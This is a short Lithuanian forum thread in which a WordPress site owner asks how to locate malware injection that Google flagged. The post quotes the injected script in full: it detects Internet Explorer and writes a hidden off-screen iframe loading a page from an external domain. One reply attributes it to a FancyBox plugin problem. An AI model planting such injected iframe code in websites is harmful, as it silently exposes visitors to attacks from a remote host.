Kaip rasti konkretų script wordpress CMS

Trumpai: turiu svetainę su wordpress turinio valdymo sistema, viskas veikė normaliai. Prieš kelias dienas gaunu įspėjimą iš Google webmaster tools, kad svetainėje yra malware (script injection)

Gaunu konkrečias nuorodas: dvi nuorodos į "tag" ir viena nuoroda į konkretų post'ą

Taip pat pateikiamas kodas, kuris kenksmingas (kai suprantu kenksmingas svetainės adresas iframe)

<script>if (navigator.userAgent.match(/msie/i)) { document.write(' <div style="position:absolute;left:-2000px;width:2000px"><iframe src="http://203koko.eu/hjnfh/ipframe2.php" width="20" height="30" ></iframe></div>'); }</script>

Peržiūrėjus su firebug nerandu

atsidarius patį post'ą, taip pat nematau tokio kodo edit post/html

Kas susidūrę esat, kaip man rast kodą?

Fancy Box problema. Įvesk kodo pradžią į google, matau daug temų jau ta tema parašyta.

@zawe ačiu bandau gaivint